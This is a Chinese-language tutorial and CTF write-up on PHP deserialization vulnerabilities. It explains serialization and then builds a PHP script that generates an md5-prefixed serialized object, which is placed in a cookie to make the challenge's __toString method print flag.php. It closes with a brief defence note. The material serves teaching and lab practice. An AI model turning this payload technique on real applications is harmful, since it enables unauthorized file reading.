0x00 序列化

序列化(seralize)是指将对象的状态信息转化为可存储和传输的字符串形式,并保存在存储区中,当以后需要这个对象时,可以通过序列化的字符串来恢复这个对象的状态信息。

可以简单理解为将 对象、类、数组、变量、匿名函数等信息转换成字符串形式,便于存储。

通过以下代码展示了一个序列化的过程:

<?php
Class readme{
    public function __toString()
    {
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);
    }
}

$s = new readme();

$s->source = "flag";

$s = serialize($s);  //序列化

echo $s;
?>

运行结果:

反序列化1.png

0x01 反序列化漏洞

在序列化的基础上,将字符串信息恢复成状态信息的过程称为反序列化(uniseralize)。

反序列化漏洞是指在反序列化的过程中,反序列化的内容可以被控制,因此构造payload,调用魔术函数等,造成攻击的一种漏洞。

0x02 靶场复现

以一道CTF题为例

反序列化2.png
第1行说明了flag在同目录下的flag.php中,因此方向是利用反序列化漏洞读取flag.php的内容。

第4行定义了一个类readme,定义了一个方法 __toString()

当打印一个对象时,如果定义了__toString()方法,就能在测试时,通过echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。

第10行如果GET传参包含 source 就会代码高亮显示Readme.txt和本身,因此可以分析出Readme.txt的内容是第1行的 flag in ./flag.php,剩下的部分就是index.php的源码

反序列化3.png

第16行提示todos是一个数组

第17行判断如果Cookie中存在todos,首先将todos赋值给变量c,然后取变量c的前32位和32位以后的内容进行对比,如果32位以后内容的md5加密结果与前32位相等,那么就对32位以后的内容进行反序列化,并赋值给todos

反序列化4.png

第42、43行对todos的内容调用foreach进行输出,直接输出则会调用 __toString()方法,格式化输出todos这个对象所包含的内容。

因此只需用使todos反序列化后的内容为 ./flag.php ,就能看到flag.php的内容

根据题目,构造以下代码获取payload:

<?php

Class readme{
    public function __toString()
    {
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);
    }
}

$s = new readme();

$s->source = "./flag.php";

$s = [$s];

$s = serialize($s);  //序列化

$h = md5($s);

echo $h.$s;

?>

运行结果:

反序列化5.png

将这一串值url编码后添加到Cookie中(Cookie传参需要URL编码)

反序列化6.png

0x03 防御措施

避免反序列化内容可控,检查魔术函数的触发